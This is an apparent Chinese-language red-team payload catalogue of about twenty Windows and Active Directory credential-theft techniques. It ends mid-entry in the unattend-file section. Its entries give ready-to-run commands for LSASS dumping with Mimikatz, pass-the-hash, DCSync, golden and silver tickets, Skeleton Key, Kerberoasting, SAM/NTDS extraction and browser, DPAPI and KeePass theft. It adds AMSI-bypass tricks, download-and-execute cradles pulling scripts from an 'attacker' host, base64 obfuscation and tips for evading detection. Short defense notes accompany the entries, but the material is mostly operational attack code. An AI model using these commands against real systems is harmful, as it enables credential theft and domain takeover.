# 凭证窃取

_20 条 intranet payload_

### Mimikatz凭证抓取  `mimikatz-creds`
_使用Mimikatz抓取Windows系统凭证_
子类：**Mimikatz** · tags: `mimikatz` `credentials` `windows` `lsass`

**前置条件：**
- 需要管理员权限
- 需要绕过杀毒软件
- Windows系统

**攻击链：**

**抓取所有凭证**
> 抓取LSASS中的所有登录凭证
_platform: windows_
```
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
```
**语法解析：**
- `privilege::debug` — 获取Debug权限，需要管理员权限 _command_
- `sekurlsa::logonpasswords` — 从LSASS导出所有登录凭证 _command_
- `exit` — 执行完毕后退出 _command_

**导出LSASS**
> 从LSASS转储文件中提取凭证
_platform: windows_
```
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit"
```

**Pass-the-Hash**
> 使用NTLM哈希进行Pass-the-Hash攻击
_platform: windows_
```
mimikatz.exe "sekurlsa::pth /user:Administrator /domain:target.com /ntlm:HASH" "exit"
```

**DCSync攻击**
> 模拟DC同步获取域内所有用户哈希
_platform: windows_
```
mimikatz.exe "lsadump::dcsync /domain:target.com /user:Administrator" "exit"
```
**语法解析：**
- `lsadump::dcsync` — DCSync命令，模拟域控制器复制 _command_
- `/domain:` — 目标域名 _parameter_
- `/user:` — 要同步的用户 _parameter_

**导出所有哈希**
> 从LSA导出所有用户哈希
_platform: windows_
```
mimikatz.exe "lsadump::lsa /inject" "exit"
```

**黄金票据**
> 生成黄金票据获取域管理员权限
_platform: windows_
```
mimikatz.exe "kerberos::golden /domain:target.com /sid:S-1-5-21-xxx /krbtgt:HASH /user:Administrator" "exit"
```
**语法解析：**
- `kerberos::golden` — 生成黄金票据命令 _command_
- `/sid:` — 域SID _parameter_
- `/krbtgt:` — krbtgt账户的NTLM哈希 _parameter_

**白银票据**
> 生成白银票据访问特定服务
_platform: windows_
```
mimikatz.exe "kerberos::golden /domain:target.com /sid:S-1-5-21-xxx /target:server.target.com /service:cifs /rc4:HASH /user:Administrator" "exit"
```

**EDR 绕过变体：**

**PowerShell加载**
> 通过PowerShell远程加载Mimikatz
```
IEX (New-Object Net.WebClient).DownloadString("http://attacker/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -Command "privilege::debug sekurlsa::logonpasswords"
```

**AMSI绕过**
> 禁用AMSI后加载Mimikatz
```
SET-ITEM -PATH "HKLM:\SOFTWARE\Microsoft\AMSI" -NAME "AllowBlocking" -VALUE 1; IEX (New-Object Net.WebClient).DownloadString("http://attacker/Invoke-Mimikatz.ps1")
```

**混淆执行**
> 通过反射绕过AMSI
```
$a='[Ref].Assembly.GetType'('System.Management.Automation.AmsiUtils');$b=$a.GetField'('amsiInitFailed','NonPublic,Static');$b.SetValue($null,$true);IEX(New-Object Net.WebClient).DownloadString('http://attacker/Invoke-Mimikatz.ps1')
```


**分析：** 成功执行后可获取明文密码、NTLM哈希、Kerberos票据等凭证信息。

**OPSEC 提示：**
- Mimikatz会被大多数杀软检测
- 使用混淆或内存加载绕过检测
- 优先考虑使用其他更隐蔽的工具
- 操作LSASS会触发EDR告警

**概述：** Mimikatz是一款强大的Windows安全测试工具，可以从内存中提取明文密码、哈希、Kerberos票据等凭证信息。

**漏洞原理：** Windows系统将用户凭证存储在LSASS进程内存中，Mimikatz可以直接读取这些凭证。这是Windows认证机制的设计特性。

**利用方法：** 利用流程：1) 获取管理员权限；2) 绕过杀毒软件；3) 执行Mimikatz抓取凭证；4) 使用凭证进行横向移动；5) 提升到域管理员权限。

**防御措施：** 防御措施：1) 启用Credential Guard；2) 限制管理员权限；3) 监控LSASS访问；4) 部署EDR解决方案；5) 定期更改密码。

---

### Kerberoasting攻击  `kerberoasting`
_Kerberoasting攻击获取服务账户哈希_
子类：**Kerberos** · tags: `kerberoasting` `kerberos` `active-directory` `spn`

**前置条件：**
- 域环境
- 任意域用户凭证
- 域内存在SPN账户

**攻击链：**

**发现SPN**
> 查询域内所有SPN
_platform: windows_
```
setspn -T domain.com -Q */*
```

**请求服务票据**
> PowerShell请求Kerberos票据
_platform: windows_
```
Add-Type -AssemblyName System.IdentityModel; New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/webserver.target.com"
```

**导出票据**
> 使用Mimikatz导出Kerberos票据
_platform: windows_
```
mimikatz.exe "kerberos::list /export" "exit"
```

**Rubeus请求**
> 使用Rubeus进行Kerberoasting
_platform: windows_
```
Rubeus.exe kerberoast /stats
```
**语法解析：**
- `Rubeus.exe` — Kerberos攻击工具 _command_
- `kerberoast` — Kerberoasting模块 _command_
- `/stats` — 显示统计信息 _parameter_

**Impacket GetUserSPNs**
> 使用Impacket获取服务票据
_platform: linux_
```
GetUserSPNs.py domain/user:password -dc-ip dc_ip -request
```
**语法解析：**
- `GetUserSPNs.py` — Impacket Kerberoasting工具 _command_
- `-request` — 请求服务票据 _parameter_

**离线破解**
> 使用Hashcat破解Kerberos票据
_platform: linux_
```
hashcat -m 13100 kerberoast.hash wordlist.txt
```
**语法解析：**
- `-m 13100` — Kerberos 5 TGS-REP模式 _parameter_

**EDR 绕过变体：**

**RC4加密**
> 使用RC4加密，避免触发告警
```
Rubeus.exe kerberoast /rc4opsec
```


**分析：** Kerberoasting可以获取服务账户的Kerberos票据，离线破解后得到明文密码。

**OPSEC 提示：**
- Kerberoasting不需要高权限
- 只需要任意域用户凭证
- 建议使用RC4加密避免检测

**概述：** Kerberoasting是一种针对Kerberos协议的攻击，攻击者可以请求服务票据并离线破解服务账户密码。

**漏洞原理：** Kerberos服务票据使用服务账户密码加密，攻击者可以请求票据后离线破解。服务账户通常密码复杂度较低。

**利用方法：** 利用流程：1) 获取任意域用户凭证；2) 查询域内SPN；3) 请求服务票据；4) 导出票据；5) 离线破解密码。

**防御措施：** 防御措施：1) 服务账户使用强密码；2) 监控异常的票据请求；3) 定期轮换服务账户密码；4) 部署蜜罐账户检测攻击。

---

### AS-REP Roasting  `asreproasting`
_AS-REP Roasting攻击获取用户哈希_
子类：**Kerberos** · tags: `asreproasting` `kerberos` `active-directory`

**前置条件：**
- 域环境
- 域中存在禁用Pre-auth的用户

**攻击链：**

**Rubeus攻击**
> 使用Rubeus进行AS-REP Roasting
_platform: windows_
```
Rubeus.exe asreproast
```

**Impacket攻击**
> 使用Impacket获取AS-REP
_platform: linux_
```
GetNPUsers.py domain/ -usersfile users.txt -format hashcat -outputfile hashes.txt
```
**语法解析：**
- `GetNPUsers.py` — Impacket AS-REP Roasting工具 _command_
- `-usersfile` — 用户列表文件 _parameter_
- `-format hashcat` — 输出hashcat格式 _parameter_

**查找禁用Pre-auth用户**
> 查找禁用Pre-auth的用户
_platform: windows_
```
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth
```

**破解哈希**
> 使用Hashcat破解AS-REP哈希
_platform: linux_
```
hashcat -m 18200 asrep.hash wordlist.txt
```
**语法解析：**
- `-m 18200` — Kerberos 5 AS-REP模式 _parameter_


**分析：** AS-REP Roasting可以获取禁用Pre-auth用户的哈希，离线破解后得到明文密码。

**OPSEC 提示：**
- 不需要任何凭证
- 只需要用户名
- 禁用Pre-auth是错误配置

**概述：** AS-REP Roasting是一种针对禁用Kerberos Pre-authentication用户的攻击。

**漏洞原理：** 禁用Pre-auth的用户可以直接获取AS-REP，其中包含可离线破解的哈希。

**利用方法：** 利用流程：1) 查找禁用Pre-auth的用户；2) 请求AS-REP；3) 提取哈希；4) 离线破解。

**防御措施：** 防御措施：1) 启用所有用户的Pre-auth；2) 监控异常的AS-REQ；3) 使用强密码。

---

### LaZagne凭证抓取  `lazagne-creds`
_使用LaZagne抓取各种应用程序凭证_
子类：**工具** · tags: `lazagne` `credentials` `browsers` `applications`

**前置条件：**
- 目标机器访问权限
- LaZagne工具

**攻击链：**

**抓取所有凭证**
> 抓取所有支持的凭证
_platform: windows_
```
laZagne.exe all
```
**语法解析：**
- `laZagne.exe` — LaZagne凭证抓取工具 _command_
- `all` — 抓取所有模块 _parameter_

**浏览器凭证**
> 抓取浏览器保存的密码
_platform: windows_
```
laZagne.exe browsers
```

**WiFi凭证**
> 抓取WiFi密码
_platform: windows_
```
laZagne.exe wifi
```

**邮件客户端**
> 抓取邮件客户端密码
_platform: windows_
```
laZagne.exe mails
```

**数据库凭证**
> 抓取数据库客户端密码
_platform: windows_
```
laZagne.exe databases
```

**Linux版本**
> Linux版本抓取
_platform: linux_
```
python laZagne.py all
```

**EDR 绕过变体：**

**混淆执行**
> Base64编码执行
```
python -c "exec(__import__(\"base64\").b64decode(\"BASE64_PAYLOAD\"))"
```


**分析：** LaZagne可以从浏览器、邮件客户端、数据库客户端等多种应用程序中提取保存的凭证。

**OPSEC 提示：**
- LaZagne会被杀软检测
- 考虑使用混淆或内存加载
- 可以只运行特定模块

**概述：** LaZagne是一款开源的凭证抓取工具，支持从多种应用程序中提取保存的密码。

**漏洞原理：** 许多应用程序以不安全的方式存储用户凭证，LaZagne可以提取这些凭证。

**利用方法：** 利用流程：1) 获取目标机器访问权限；2) 运行LaZagne；3) 提取凭证；4) 使用凭证横向移动。

**防御措施：** 防御措施：1) 不在应用程序中保存密码；2) 使用密码管理器；3) 监控异常进程。

---

### SAM数据库导出  `sam-dump`
_导出Windows SAM数据库获取本地账户哈希_
子类：**SAM** · tags: `sam` `hash` `windows` `local`

**前置条件：**
- 管理员权限
- Windows系统

**攻击链：**

**reg导出**
> 导出SAM和SYSTEM配置单元
_platform: windows_
```
reg save HKLM\SAM sam.hive & reg save HKLM\SYSTEM system.hive
```
**语法解析：**
- `reg save` — 注册表导出命令 _command_
- `HKLM\SAM` — SAM配置单元路径 _value_
- `sam.hive` — 输出文件名 _value_

**Impacket解析**
> 使用Impacket解析SAM
_platform: linux_
```
secretsdump.py -sam sam.hive -system system.hive LOCAL
```
**语法解析：**
- `secretsdump.py` — Impacket凭证转储工具 _command_
- `-sam` — SAM文件 _parameter_
- `-system` — SYSTEM文件 _parameter_

**Mimikatz导出**
> 使用Mimikatz导出SAM
_platform: windows_
```
mimikatz.exe "lsadump::sam" "exit"
```

**Volume Shadow Copy**
> 从卷影副本复制SAM
_platform: windows_
```
vssadmin create shadow /for=C: & copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\sam.hive
```


**分析：** SAM数据库包含本地账户的NTLM哈希，可以用于破解或Pass-the-Hash。

**OPSEC 提示：**
- 需要管理员权限
- 操作注册表可能触发告警
- 卷影副本方法更隐蔽

**概述：** SAM数据库存储Windows本地账户的密码哈希，可以导出后离线破解或用于Pass-the-Hash。

**漏洞原理：** SAM数据库可以被管理员访问，其中的哈希可以用于离线破解或Pass-the-Hash攻击。

**利用方法：** 利用流程：1) 获取管理员权限；2) 导出SAM和SYSTEM；3) 提取哈希；4) 破解或PtH。

**防御措施：** 防御措施：1) 禁用本地管理员账户；2) 使用强密码；3) 监控注册表访问。

---

### NTDS.dit导出  `ntds-dump`
_导出Active Directory数据库获取所有域用户哈希_
子类：**NTDS** · tags: `ntds` `active-directory` `hash` `domain`

**前置条件：**
- 域管理员权限
- 域控制器访问权限

**攻击链：**

**ntdsutil快照**
> 使用ntdsutil创建IFM快照
_platform: windows_
```
ntdsutil "activate instance ntds" "ifm" "create full c:\temp" "quit" "quit"
```
**语法解析：**
- `ntdsutil` — Active Directory数据库工具 _command_
- `activate instance ntds` — 激活NTDS实例 _command_
- `ifm` — Install From Media模式 _command_

**Volume Shadow Copy**
> 从卷影副本复制NTDS.dit
_platform: windows_
```
vssadmin create shadow /for=C: & copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit
```

**Impacket解析**
> 使用Impacket解析NTDS.dit
_platform: linux_
```
secretsdump.py -ntds ntds.dit -system system.hive LOCAL
```

**Impacket远程转储**
> 远程转储域哈希
_platform: linux_
```
secretsdump.py domain/admin:password@dc_ip -just-dc
```
**语法解析：**
- `-just-dc` — 只转储域数据 _parameter_

**Mimikatz DCSync**
> 使用DCSync同步所有哈希
_platform: windows_
```
mimikatz.exe "lsadump::dcsync /domain:target.com /all" "exit"
```


**分析：** NTDS.dit包含域内所有用户的哈希，可以用于破解或Pass-the-Hash。

**OPSEC 提示：**
- 需要域管理员权限
- DCSync方法更隐蔽
- 操作可能触发大量告警

**概述：** NTDS.dit是Active Directory数据库，包含域内所有用户的密码哈希。

**漏洞原理：** 域管理员可以导出NTDS.dit或使用DCSync获取所有用户哈希。

**利用方法：** 利用流程：1) 获取域管理员权限；2) 导出NTDS.dit或使用DCSync；3) 提取所有哈希；4) 破解或PtH。

**防御措施：** 防御措施：1) 监控域管理员活动；2) 审计DCSync操作；3) 使用强密码。

---

### GPP密码提取  `gpp-password`
_提取组策略首选项中的密码_
子类：**GPP** · tags: `gpp` `group-policy` `password` `xml`

**前置条件：**
- 域环境
- 任意域用户凭证

**攻击链：**

**查找GPP文件**
> 查找SYSVOL中的XML文件
_platform: linux_
```
find /domain/sysvol -name "*.xml" 2>/dev/null
```

**PowerShell查找**
> PowerShell查找GPP文件
_platform: windows_
```
Get-ChildItem -Path "\\domain.com\SYSVOL" -Recurse -ErrorAction SilentlyContinue | Where-Object {$_.Name -match "\.xml$"}
```

**PowerView提取**
> 使用PowerView提取GPP密码
_platform: windows_
```
Get-NetGPPPassword
```

**gpp-decrypt**
> 解密GPP密码哈希
_platform: linux_
```
gpp-decrypt HASH
```
**语法解析：**
- `gpp-decrypt` — GPP密码解密工具 _command_

**Impacket提取**
> 使用Impacket提取GPP密码
_platform: linux_
```
Get-GPPPassword.py domain/user:password@dc_ip
```


**分析：** GPP密码使用公开的密钥加密，可以被解密获取明文密码。

**OPSEC 提示：**
- GPP密码是常见的信息泄露点
- 只需要普通域用户权限
- MS14-025修复后新密码不会被存储

**概述：** 组策略首选项(GPP)可以存储本地管理员密码，使用公开密钥加密，可以被解密。

**漏洞原理：** GPP使用公开的AES密钥加密密码，任何人都可以解密。

**利用方法：** 利用流程：1) 访问SYSVOL；2) 查找GPP XML文件；3) 提取cpassword；4) 解密密码。

**防御措施：** 防御措施：1) 安装MS14-025补丁；2) 删除现有的GPP密码；3) 使用LAPS管理本地管理员密码。

---

### Mimikatz高级技巧  `mimikatz-advanced`
_Mimikatz高级凭证提取和利用技术_
子类：**Mimikatz** · tags: `mimikatz` `credentials` `advanced`

**前置条件：**
- 管理员权限
- Mimikatz工具

**攻击链：**

**DCSync攻击**
> 模拟DC同步获取域管哈希
_platform: windows_
```
lsadump::dcsync /domain:domain.com /user:Administrator
```
**语法解析：**
- `lsadump::dcsync` — DCSync模块，模拟域控制器复制 _command_
- `/domain:domain.com` — 目标域名 _parameter_
- `/user:Administrator` — 目标用户，获取其NTLM哈希 _parameter_

**黄金票据生成**
> 生成黄金票据并注入
_platform: windows_
```
kerberos::golden /domain:domain.com /sid:S-1-5-21-xxx /krbtgt:HASH /user:Administrator /ptt
```
**语法解析：**
- `kerberos::golden` — 黄金票据模块 _command_
- `/sid:S-1-5-21-xxx` — 域SID _parameter_
- `/krbtgt:HASH` — krbtgt账户NTLM哈希 _parameter_
- `/ptt` — Pass-the-Ticket，直接注入内存 _parameter_

**白银票据生成**
> 生成白银票据访问特定服务
_platform: windows_
```
kerberos::golden /domain:domain.com /sid:S-1-5-21-xxx /target:server /service:cifs /rc4:HASH /user:Administrator /ptt
```
**语法解析：**
- `/target:server` — 目标服务器 _parameter_
- `/service:cifs` — 服务类型，CIFS为文件共享 _parameter_
- `/rc4:HASH` — 服务账户NTLM哈希 _parameter_

**Skeleton Key植入**
> 植入万能密码mimikatz
_platform: windows_
```
privilege::debug
misc::skeleton
```
**语法解析：**
- `privilege::debug` — 获取Debug权限 _command_
- `misc::skeleton` — 植入Skeleton Key，密码为mimikatz _command_


**概述：** Mimikatz高级功能包括DCSync、黄金票据、白银票据等域持久化技术。

**漏洞原理：** 域控制器复制协议缺乏认证，Kerberos设计缺陷。

**利用方法：** 利用流程：1) 获取krbtgt哈希 2) 生成黄金票据 3) 持久化访问

**防御措施：** 防御措施：1) 监控DCSync行为 2) 定期更换krbtgt密码 3) 启用PAM

---

### 浏览器凭证提取  `browser-creds`
_从浏览器中提取保存的密码和Cookie_
子类：**浏览器** · tags: `browser` `credentials` `chrome` `firefox`

**前置条件：**
- 用户权限
- 浏览器已保存密码

**攻击链：**

**Chrome密码提取**
> 复制Chrome登录数据库
_platform: windows_
```
Get-ChildItem -Path "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" | Copy-Item -Destination "C:\temp\Login Data"
```

**Chrome Cookie提取**
> 复制Chrome Cookie数据库
_platform: windows_
```
Get-ChildItem -Path "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Cookies" | Copy-Item -Destination "C:\temp\Cookies"
```

**使用SharpWeb**
> 使用SharpWeb提取浏览器凭证
_platform: windows_
```
SharpWeb.exe --browser chrome
```

**使用HackBrowserData**
> 提取Chrome所有数据
```
hack-browser-data.exe -b chrome
```


**概述：** 浏览器保存的密码和Cookie可被提取用于横向移动。

**漏洞原理：** 浏览器使用DPAPI加密，用户登录后可解密。

**利用方法：** 利用流程：1) 定位浏览器数据文件 2) 复制数据库 3) 解密提取

**防御措施：** 防御措施：1) 不保存敏感密码 2) 使用主密码 3) 监控数据访问

---

### DPAPI凭证提取  `dpapi-creds`
_从DPAPI保护存储中提取凭证_
子类：**DPAPI** · tags: `dpapi` `credentials` `windows`

**前置条件：**
- 用户权限
- DPAPI master key

**攻击链：**

**枚举DPAPI凭据**
> 查找DPAPI保护的凭据文件
_platform: windows_
```
Get-ChildItem -Path "$env:APPDATA\Microsoft\Credentials" -Force
```

**使用Mimikatz解密**
> 解密DPAPI凭据
_platform: windows_
```
dpapi::cred /in:C:\Users\user\AppData\Roaming\Microsoft\Credentials\XXX
```

**获取Master Key**
> 从内存获取DPAPI master key
_platform: windows_
```
sekurlsa::dpapi
```


**概述：** DPAPI是Windows数据保护API，用于保护敏感数据。

**漏洞原理：** DPAPI密钥存储在内存中，可被提取。

**利用方法：** 利用流程：1) 获取master key 2) 定位凭据文件 3) 解密

**防御措施：** 防御措施：1) 限制内存访问 2) 监控DPAPI调用 3) 使用Credential Guard

---

### RDP凭证提取  `rdp-creds`
_提取保存的RDP连接密码_
子类：**RDP** · tags: `rdp` `credentials` `windows`

**前置条件：**
- 用户权限
- 已保存RDP密码

**攻击链：**

**查找RDP文件**
> 查找RDP连接文件
_platform: windows_
```
Get-ChildItem -Path "$env:USERPROFILE\Documents\*.rdp" -Recurse
```

**提取RDP密码**
> 列出保存的凭据
_platform: windows_
```
cmdkey /list
```

**使用Mimikatz**
> 解密RDP保存的密码
_platform: windows_
```
dpapi::cred /in:C:\Users\user\AppData\Local\Microsoft\Credentials\XXX
```


**概述：** RDP保存的密码存储在DPAPI保护的凭据管理器中。

**漏洞原理：** RDP密码可被提取用于横向移动。

**利用方法：** 利用流程：1) 查找RDP文件 2) 定位凭据 3) 解密密码

**防御措施：** 防御措施：1) 不保存RDP密码 2) 使用受限管理员模式

---

### WiFi凭证提取  `wifi-creds`
_提取保存的WiFi密码_
子类：**WiFi** · tags: `wifi` `credentials` `windows`

**前置条件：**
- 管理员权限
- 已连接WiFi

**攻击链：**

**列出WiFi配置文件**
> 显示所有WiFi配置文件
_platform: windows_
```
netsh wlan show profiles
```

**提取WiFi密码**
> 显示WiFi密码
_platform: windows_
```
netsh wlan show profile name="WiFi_Name" key=clear
```
**语法解析：**
- `netsh wlan show profile` — 显示WiFi配置 _command_
- `name="WiFi_Name"` — 指定WiFi名称 _parameter_
- `key=clear` — 以明文显示密码 _parameter_


**概述：** Windows保存的WiFi密码可通过netsh命令提取。

**漏洞原理：** WiFi密码以明文存储，管理员可查看。

**利用方法：** 利用流程：1) 列出WiFi配置 2) 显示密码

**防御措施：** 防御措施：1) 使用企业认证 2) 定期更换密码

---

### Windows Vault凭证  `vault-creds`
_从Windows凭据管理器提取凭证_
子类：**Vault** · tags: `vault` `credentials` `windows`

**前置条件：**
- 用户权限
- 已保存凭据

**攻击链：**

**列出Vault凭据**
> 列出所有Vault
_platform: windows_
```
vaultcmd /list
```

**导出Vault凭据**
> 列出Windows凭据
_platform: windows_
```
vaultcmd /listcreds:"Windows Credentials" /all
```

**使用Mimikatz**
> 从内存提取凭据管理器密码
_platform: windows_
```
sekurlsa::credman
```


**概述：** Windows凭据管理器存储各种应用密码。

**漏洞原理：** 凭据存储在内存中，可被提取。

**利用方法：** 利用流程：1) 列出Vault 2) 提取凭据

**防御措施：** 防御措施：1) 不保存敏感凭据 2) 使用Windows Hello

---

### KeePass凭证提取  `keepass-dump`
_从KeePass数据库提取密码_
子类：**KeePass** · tags: `keepass` `credentials` `password-manager`

**前置条件：**
- KeePass数据库文件
- 主密码或内存转储

**攻击链：**

**查找KeePass数据库**
> 搜索KeePass数据库文件
_platform: windows_
```
Get-ChildItem -Path C:\ -Filter "*.kdbx" -Recurse -ErrorAction SilentlyContinue
```

**内存提取主密码**
> 从KeePass进程内存提取
_platform: windows_
```
使用KeePassDump或KeeThief从内存提取主密码
```

**使用KeeThief**
> PowerShell提取KeePass密码
_platform: windows_
```
powershell -exec bypass -c "IEX(New-Object Net.WebClient).downloadString('http://attacker/KeeThief.ps1'); Get-KeePassPw
```


**概述：** KeePass主密码可能存在于内存中。

**漏洞原理：** KeePass在内存中保存解密后的数据。

**利用方法：** 利用流程：1) 找到数据库文件 2) 提取主密码 3) 解密数据库

**防御措施：** 防御措施：1) 使用强主密码 2) 启用安全桌面 3) 定期更换密码

---

### LSA Secrets提取  `lsa-secrets`
_从LSA Secrets提取敏感数据_
子类：**LSA** · tags: `lsa` `secrets` `windows`

**前置条件：**
- SYSTEM权限

**攻击链：**

**使用Mimikatz**
> 提取LSA Secrets
_platform: windows_
```
lsadump::secrets
```

**使用reg save**
> 导出注册表hive离线分析
_platform: windows_
```
reg save HKLM\SECURITY security.hive
reg save HKLM\SYSTEM system.hive
```

**使用Impacket**
> 离线提取LSA Secrets
_platform: linux_
```
secretsdump.py -security security.hive -system system.hive LOCAL
```


**概述：** LSA Secrets存储服务账户密码、缓存域密码等。

**漏洞原理：** LSA Secrets可被SYSTEM权限用户提取。

**利用方法：** 利用流程：1) 获取SYSTEM权限 2) 提取LSA Secrets

**防御措施：** 防御措施：1) 限制SYSTEM权限 2) 使用Credential Guard

---

### 缓存凭证提取  `cached-creds`
_提取域缓存凭证_
子类：**缓存** · tags: `cached` `credentials` `domain`

**前置条件：**
- SYSTEM权限
- 域环境

**攻击链：**

**使用Mimikatz**
> 提取缓存域凭证
_platform: windows_
```
lsadump::cache
```

**使用reg save**
> 导出SECURITY hive
_platform: windows_
```
reg save HKLM\SECURITY security.hive
```

**离线破解**
> 缓存凭证可离线破解
_platform: linux_
```
使用hashcat破解缓存的域凭证
```


**概述：** Windows缓存域用户凭证以便离线登录。

**漏洞原理：** 缓存凭证可被提取和破解。

**利用方法：** 利用流程：1) 提取缓存凭证 2) 离线破解

**防御措施：** 防御措施：1) 减少缓存数量 2) 使用强密码

---

### DCSync攻击  `dcsync-attack`
_模拟域控制器同步获取凭证_
子类：**域渗透** · tags: `dcsync` `domain-controller` `mimikatz`

**前置条件：**
- 域管理员权限或特定权限

**攻击链：**

**使用Mimikatz**
> 使用Mimikatz执行DCSync
_platform: windows_
```
mimikatz # lsadump::dcsync /domain:domain.com /user:Administrator
```
**语法解析：**
- `lsadump::dcsync` — DCSync模块 _command_
- `/domain:domain.com` — 目标域名 _parameter_
- `/user:Administrator` — 目标用户 _parameter_

**使用impacket**
> 使用impacket执行DCSync
_platform: linux_
```
python secretsdump.py -just-dc-user Administrator domain.com/user:password@dc_ip
```

**导出所有哈希**
> 导出域内所有用户哈希
_platform: windows_
```
mimikatz # lsadump::dcsync /domain:domain.com /all /csv
```

**权限要求**
> DCSync所需权限
```
需要以下权限之一:
- Domain Admin
- Enterprise Admin
- 复制目录更改权限
```


**概述：** DCSync模拟域控制器复制获取所有凭证。

**漏洞原理：** 域复制协议缺乏足够的认证验证。

**利用方法：** 利用流程：1) 获取高权限 2) 执行DCSync 3) 获取所有哈希

**防御措施：** 防御措施：1) 监控DCSync行为 2) 最小权限原则 3) 审计复制权限

---

### 黄金票据攻击  `golden-ticket`
_使用krbtgt哈希生成黄金票据_
子类：**域持久化** · tags: `golden-ticket` `krbtgt` `kerberos`

**前置条件：**
- krbtgt账户哈希
- 域SID

**攻击链：**

**获取krbtgt哈希**
> 获取krbtgt账户哈希
_platform: windows_
```
mimikatz # lsadump::lsa /inject /name:krbtgt
```

**获取域SID**
> 获取域SID
_platform: windows_
```
whoami /user
或: wmic useraccount get sid
```

**生成黄金票据**
> 生成并注入黄金票据
_platform: windows_
```
mimikatz # kerberos::golden /user:Administrator /domain:domain.com /sid:S-1-5-21-xxx /krbtgt:HASH /ptt
```
**语法解析：**
- `kerberos::golden` — 黄金票据模块 _command_
- `/user:Administrator` — 伪造的用户 _parameter_
- `/sid:S-1-5-21-xxx` — 域SID _parameter_
- `/krbtgt:HASH` — krbtgt NTLM哈希 _parameter_
- `/ptt` — 直接注入内存 _parameter_

**验证票据**
> 验证黄金票据是否有效
_platform: windows_
```
klist
或: dir \\dc.domain.com\c$
```


**概述：** 黄金票据可持久化访问整个域。

**漏洞原理：** krbtgt密码很少更改，票据有效期长。

**利用方法：** 利用流程：1) 获取krbtgt哈希 2) 生成票据 3) 持久化访问

**防御措施：** 防御措施：1) 定期更换krbtgt密码 2) 监控异常票据 3) 使用PAM

---

### 白银票据攻击  `silver-ticket`
_使用服务账户哈希生成白银票据_
子类：**域持久化** · tags: `silver-ticket` `kerberos` `service`

**前置条件：**
- 服务账户哈希
- 域SID

**攻击链：**

**获取服务哈希**
> 获取服务账户哈希
_platform: windows_
```
mimikatz # sekurlsa::logonpasswords
寻找服务账户NTLM哈希
```

**生成白银票据**
> 生成针对特定服务的票据
_platform: windows_
```
mimikatz # kerberos::golden /user:Administrator /domain:domain.com /sid:S-1-5-21-xxx /target:server.domain.com /service:cifs /rc4:HASH /ptt
```
**语法解析：**
- `/target:server.domain.com` — 目标服务器 _parameter_
- `/service:cifs` — 服务类型(CIFS) _parameter_
- `/rc4:HASH` — 服务账户NTLM哈希 _parameter_

**常见服务类型**
> 可伪造的服务类型
```
CIFS - 文件共享
HTTP - Web服务
LDAP - 目录服务
MSSQLSvc - SQL服务
HOST - 远程管理
```


**概述：** 白银票据针对特定服务，比黄金票据更隐蔽。

**漏洞原理：** 服务账户密码可被获取。

**利用方法：** 利用流程：1) 获取服务哈希 2) 生成票据 3) 访问服务

**防御措施：** 防御措施：1) 服务账户强密码 2) 监控异常票据 3) 定期轮换密码

---

### 无人值守安装凭证提取  `unattended-creds`
_从Windows无人值守安装文件(Unattend.xml/Sysprep)中提取明文或Base64编码的管理员凭证_
子类：**文件凭证** · tags: `credentials` `unattend` `sysprep` `privilege-escalation` `windows`

**前置条件：**
- 本地文件系统读取权限
- 目标使用过无人值守部署

**攻击链：**

**搜索无人值守安装文件**
> 在默认路径搜索Unattend/Sysprep配置文件，这些文件在Windows自动部署后可能残留在系统中
_platform: windows_
```
dir /s /b C:\Windows\Panther\Unattend.xml C:\Windows\Panther\unattended.xml C:\Windows\Panther\Autounattend.xml C:\Windows\System32\Sysprep\sysprep.xml C:\Windows\System32\Sysprep\unattend.xml 2>nul
```
**语法解析：**
- `dir /s /b` — 递归搜索并仅输出文件完整路径 _command_
- `C:\\Windows\\Panther\\` — Windows安装日志和配置默认存放目录 _value_
- `C:\\Windows\\System32\\Sysprep\\` — Sysprep系统准备工具配置目录 _value_
- `2>nul` — 抑制文件未找到的错误输出 _operator_

**全盘搜索Unattend文件**
> 当默认路径找不到时，全盘递归搜索所有可能的无人值守文件
_platform: windows_
```
# CMD方式
dir /s /b C:\*unattend*.xml C:\*sysprep*.xml 2>nul

# PowerShell方式
Get-ChildItem -Path C:\ -Recurse -Include "*unattend*","*sysprep*","*autounattend*" -ErrorAction SilentlyContinue | Select-Object FullName
```
**语法解析：**
- `Get-ChildItem -Recurse` — PowerShell递归搜索 _command_
- `-Include` — 按通配符模式匹配文件名 _parameter_
- `-ErrorAction SilentlyContinue` — 忽略权限不足等错误 _parameter_

**提取明文密码**
> 从Unattend.xml中提取密码字段，密码可能以明文或Base64编码形式存储在<Password>/<AdminPassword>/<AutoLogon>节点中
_platform: windows_
```
# 查看文件内容
type C:\Windows\Panther\Unattend.xml

# 关键字段搜索
findstr /i /c:"Password" /c:"AutoLogon" /c:"AdminPassword" C:\Windows\Panther\Unattend.xml

# PowerShell提取
[xml]$xml = Get-Content C:\Windows\Panther\Unattend.xml
$xml.unattend.settings.component | Where-Object { $_.AutoLogon } | ForEach-Object { $_.AutoLogon.Password.Value }
```
**语法解析：**
- `findstr /i /c:` — 不区分大小写搜索指定字符串 _command_
- `Password` — 密码字段关键字 _value_
- `AdminPassword` — 管理员密码字段 _value_
- `AutoLogon` — 自动登录配置(含明文密码) _value_
- `[xml]$xml` — 将XML文件解析为PowerShell XML对象 _command_

**解码Base64密码**
> Unattend.xml中的密码如果以Base64编码存储，需要解码。Windows使用UTF-16LE编码，因此必须用Unicode解码而非ASCII
_platform: windows_
```
# PowerShell解码Base64
$encoded = "QQBkAG0AaQBuAEAAMQAyADMA"  # 从XML提取的编码值
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($encoded))

# 或者使用certutil
echo QQBkAG0AaQBuAEAAMQAyADMA > C:\temp\encoded.txt
certutil -decode C:\temp\encoded.txt C:\temp\decoded.txt
type C:\temp\decoded.txt
```
**语法解析：**
